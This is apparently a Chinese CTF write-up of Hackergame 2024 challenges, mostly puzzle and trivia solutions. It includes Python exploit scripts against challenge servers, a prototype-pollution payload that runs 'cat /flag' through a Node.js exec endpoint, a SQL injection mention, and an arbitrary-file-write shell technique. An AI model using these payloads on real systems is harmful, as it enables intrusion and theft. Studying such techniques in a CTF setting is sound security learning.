前言

这个比赛从 11.2 打到 11.9,一开始没注意到,导致我 11.6 才进场。题目质量挺不错的,学习了

签到

直接把 pass=false 改成 pass=true

img

喜欢做签到的 CTFer 你们好呀

找了半天不知道那个才是 “中国科学技术大学校内 CTF 战队的招新主页”,最后在 https://www.nebuu.la/ 找到了 flag

Checkin Again

img

Checkin Again & Again

img

猫咪问答(Hackergame 十周年纪念版)

只做出来一部分,做不动了

2. 众所周知,Hackergame 共约 25 道题目。近五年(不含今年)举办的 Hackergame 中,题目数量最接近这个数字的那一届比赛里有多少人注册参加?(30 分)

答案:2682

https://lug.ustc.edu.cn/wiki/lug/events/hackergame/ 一个一个试

截图

3. Hackergame 2018 让哪个热门检索词成为了科大图书馆当月热搜第一?(20 分)

答案:程序员的自我修养

有 2018 年的 Hackergame WP,能从里面找到些蛛丝马迹

img

4. 在今年的 USENIX Security 学术会议上中国科学技术大学发表了一篇关于电子邮件伪造攻击的论文,在论文中作者提出了 6 种攻击方法,并在多少个电子邮件服务提供商及客户端的组合上进行了实验?(10 分)

答案:336

搜索引擎大法,直接找到原论文即可

截图

5. 10 月 18 日 Greg Kroah-Hartman 向 Linux 邮件列表提交的一个 patch 把大量开发者从 MAINTAINERS 文件中移除。这个 patch 被合并进 Linux mainline 的 commit id 是多少?(5 分)

答案:6e90b6

Kimi 大法

img

打不开的盒

看得我眼睛都痛了

img

img

勉强辨认出 flag:flag{Dr4W_Us!nG_fR3E_C4D!!w0W}

每日论文太多了!

把论文 pdf 下载下来,全局搜 flag,真有东西啊?服气

img

这坨空白复制出来的文本是 flag here

转成 word 之后把图片拖开就有 flag 了

img

比大小王

审代码能看到提交答案的逻辑

img

先随便玩一下,看下 state 里面的值

img

调用 submit 来交一下

img

参考上面的逻辑,容易写出 exp

import requests
import json
import time

token = "eyJ0b2tlbiI6IjM1NjQ6TUVRQ0lFT3N3YVNlMk5MM0g2ejlLeWVPRWd5SjFIZktsVDRQVVRHUmNPc2tCTUtnQWlCOVMzeDhuaDdpZytFeVI1c1Fja3JjRkhkUWIzSG9wUUdhNGFLdFRncjdOZz09In0.Zyw28Q.7sMHxs5JT7HX3vuGDPsmRF6fShA"

resp = requests.post(
    url="http://202.38.93.141:12122/game",
    headers={
        'Content-Type': 'application/json',
    },
    cookies={
        'session': token,
    },
    data="{}"
)
token2 = resp.headers['Set-Cookie'].split(';')[0][len('session='):]
ans = []
questions = resp.json()['values']

for q in questions:
    if q[0] >= q[1]:
        ans.append('>')
    else:
        ans.append('<')

time.sleep(10)
resp = requests.post(
    url="http://202.38.93.141:12122/submit",
    headers={
        'Content-Type': 'application/json',
    },
    cookies={
        'session': token2,
    },
    data=json.dumps({
        'inputs': ans,
    }),
)

print(resp.text)

不加 sleep 说我时空穿越,笑死

img

sleep 10s 之后再交就有 flag 了

img

PowerfulShell

和之前 picoCTF 做的一道无字母 shell 差不多,主要思路是字符串切片

刚好能切出 sh,笑嘻了,一下子就拿到没有输入限制的 shell 了

但是没有标准输出,试了一下错误输出是有的(curl: not found);那就把标准输出重定向到错误输出就 OK 了,轻松拿到 flag

img

Node.js is Web Scale

一眼盯真的原型链污染

// server.js
const express = require("express");
const bodyParser = require("body-parser");
const path = require("path");
const { execSync } = require("child_process");

const app = express();
app.use(bodyParser.json());
app.use(express.static(path.join(__dirname, "public")));

let cmds = {
    getsource: "cat server.js",
    test: "echo 'hello, world!'",
};

let store = {};

// GET /api/store - Retrieve the current KV store
app.get("/api/store", (req, res) => {
    res.json(store);
});

// POST /set - Set a key-value pair in the store
app.post("/set", (req, res) => {
    const { key, value } = req.body;

    const keys = key.split(".");
    let current = store;

    for (let i = 0; i < keys.length - 1; i++) {
        const key = keys[i];
        if (!current[key]) {
            current[key] = {};
        }
        current = current[key];
    }

    // Set the value at the last key
    current[keys[keys.length - 1]] = value;

    res.json({ message: "OK" });
});

// GET /get - Get a key-value pair in the store
app.get("/get", (req, res) => {
    const key = req.query.key;
    const keys = key.split(".");

    let current = store;
    for (let i = 0; i < keys.length; i++) {
        const key = keys[i];
        if (current[key] === undefined) {
            res.json({ message: "Not exists." });
            return;
        }
        current = current[key];
    }

    res.json({ message: current });
});

// GET /execute - Run commands which are constant and obviously safe.
app.get("/execute", (req, res) => {
    const key = req.query.cmd;
    const cmd = cmds[key];
    res.setHeader("content-type", "text/plain");
    res.send(execSync(cmd).toString());
});

app.get("*", (req, res) => {
    res.sendFile(path.join(__dirname, "public", "index.html"));
});

// Start the server
const PORT = 3000;
app.listen(PORT, () => {
    console.log(`KV Service is running on port ${PORT}`);
});

cmds 污染了就行

{
  "key": "__proto__.flag",
  "value": "cat /flag"
}

img

PaoluGPT

千里挑一

给了 1000 条聊天记录,考爬虫,直接上脚本

不敢上多线程,单线程有时都会 timeout,真怕给靶机发炸了

import requests
import bs4

_ga = "GA1.1.691651083.1730948651"
_ga_R7BPZT6779 = "GS1.1.1730948651.1.1.1730949224.60.0.1213642003"
session = "eyJ0b2tlbiI6IjM1NjQ6TUVRQ0lFT3N3YVNlMk5MM0g2ejlLeWVPRWd5SjFIZktsVDRQVVRHUmNPc2tCTUtnQWlCOVMzeDhuaDdpZytFeVI1c1Fja3JjRkhkUWIzSG9wUUdhNGFLdFRncjdOZz09In0.ZyyxUA.2gwwpzHoq9po1R56vI-KPtCydc8"

resp = requests.get(
    url="https://chal01-d5zaffxq.hack-challenge.lug.ustc.edu.cn:8443/list",
    cookies={
        "_ga": _ga,
        "_ga_R7BPZT6779": _ga_R7BPZT6779,
        "session": session,
    },
)

soup = bs4.BeautifulSoup(resp.text, "html.parser")
links = soup.find_all("a")
for link in links[2:]:
    print(f"[*] sreach {link['href']}")
    try:
        resp = requests.get(
            url=f"https://chal01-d5zaffxq.hack-challenge.lug.ustc.edu.cn:8443{link['href']}",
            cookies={
                "_ga": _ga,
                "_ga_R7BPZT6779": _ga_R7BPZT6779,
                "session": session,
            }
        )
        if "flag" in resp.text:
            print(resp.text)
    except:
        print(f"[!] something error when {link['href']}")

img

窥视未知

SQL 注入,把 shown=false 的聊天记录注出来就行

img

img

禁止内卷

很明显的任意文件写

img

覆写 app.py,加一个恶意路由进去即可

img

img

然后就 get shell 了

img

answers.json 然后按照题目要求解密即可

flag = [
  37, 43, 32, 38, 58, 52, 45, 46,-32, -32, -32, -32, 30, 36, 50, 49, 36, 53, 36, 49, 30,
  45, 46, 54, 30, 20, 30, 49, 52, 45, 30, 12, 24, 30, 34, -17, 35, 36, -15, -15, 35, 37,
  -8, 35, -9, 36, -13, 37, 60, 42, 79, 72, 32, 37, 97, 20, 55, 44, 87, 68, 56, 1, 58, 40,
  38, 100, 67, 83, 6, 40, 36, 64, 100, 87, 50, 68, 4, 72, 16, 33, 65, 66, 58, 63, 54, 6,
  40, 95, 40, 71, 96, 55, 92, 69, 94, 2, 10, 93, 66, 62, 66, 26, 13, 51, 18, 68, 75, 68,
  96, 65, 43, 85, 31, 100, 42, 98, 40, 84, 52, 93, 97, 18, 100, 15, 93, 21, 21, 77, 7, 100,
  83, 66, 23, 34, 36, 79, 19, 49, 11, 35, 40, 58, 40, 26, 41, 18, 86, 2, 16, 72, 42, 91,
  96, 98, 28, 89, 72, 56, 56, 53, 74, 83, 41, 0, 30, 76, 96, 43, 41, 1, 1, 1, 18, 57, 93,
  15, 66, 82, 10, 80, 62, 64, 25, 84, 83, 47, 44, 18, 85, 38, 55, 45, 6, 100, 39, 95, 6,
  49, 22, 31, 87, 99, 70, 62, 48, 21, 36, 87, 65, 60, 7, 11, 70, 73, 39, 9, 8, 51, 61,
  21, 41, 81, 74, 49, 63, 85, 54, 14, 82, 40, 79, 39, 18, 38, 31, 91, 86, 19, 78, 52, 52,
  62, 61, 96, 87, 79, 97, 68, 100, 74, 36, 83, 65, 69, 5, 8, 83, 39, 30, 47, 62, 19, 87,
  62, 99, 35, 70, 67, 9, 86, 97, 96, 48, 49, 28, 72, 63, 39, 43, 78, 52, 88, 50, 56, 53,
  91, 22, 58, 23, 32, 70, 43, 67, 100, 73, 66, 51, 9, 67, 18, 35, 64, 75, 99, 65, 9, 33,
  69, 69, 37, 17, 60, 9, 80, 14, 45, 74, 53, 39, 96, 74, 18, 2, 33, 68, 78, 13, 16, 4, 33,
  49, 33, 95, 65, 95, 81, 98, 1, 55, 33, 21, 80, 42, 82, 77, 53, 32, 0, 96, 57, 62, 0, 95,
  21, 39, 95, 40, 42, 10, 50, 77, 28, 39, 30, 9, 77, 62, 92, 8, 68, 66, 88, 35, 55, 64, 18,
  9, 76, 29, 56, 88, 89, 64, 54, 93, 45, 13, 65, 84, 22, 43, 1, 15, 57, 97, 19, 86, 53, 11,
  74, 22, 82, 9, 43, 66, 76, 63, 78, 83, 53, 90, 37, 20, 27, 58, 93, 13, 14, 5, 62, 15, 58,
  20, 94, 57, 63, 52, 55, 9, 30, 64, 96, 41, 23, 14, 52, 15, 11, 0, 88, 39, 65, 71, 16, 15,
  45, 53, 44, 34, 69, 92, 13, 96, 87, 19, 87, 20, 87, 36, 44, 91, 57, 68, 64, 80, 19, 58,
  68, 20, 89, 46, 7, 55, 34, 11, 15, 61, 16, 35, 28, 95, 52, 87, 11, 2, 90, 54, 14, 80, 66,
  44, 58, 56, 21, 9, 32, 100, 83, 61, 27
]
for i in flag:
    print(chr(i+65), end="")

img

LESS 文件查看器在线版

防 AK 的,不会做

LD_PRLOAD 劫持吗?改不了环境变量

CVE-2024-32487 吗?没办法构造带换行的文件名

软链接指向其他文件吗?不能解压

没有思路力…

欸等一下,less 是能直接读 gz 里面的内容的,有无说法

img

好吧,搞了半天还是没有进展

后记

看了官方 WP,解法有点抽象。主要针对 Ubuntu 默认开启的扩展程序 lesspipe,这是一个脚本,会在 less 读取文件时调用,对于不同后缀名的文件会产生不同的行为。而这个脚本对于文件名没有任何安全防御,就会导致一些问题。最后能通过构造特殊的文件名来调用 .so 文件,造成类似 LD_PRELOAD 劫持的效果

参考文章:https://seclists.org/oss-sec/2014/q4/1027

对于出题人的水平我是表示钦佩的,但是个人认为这题给点 hint 指向 lesspipe 会比较合适,这个漏洞真的是从犄角旮旯里面翻出来的,很难通过搜索找到答案。如果要自己探索出这个利用方式的话,更是难上加难,作为供给新生赛的题目缺乏了部分引导。仅个人看法。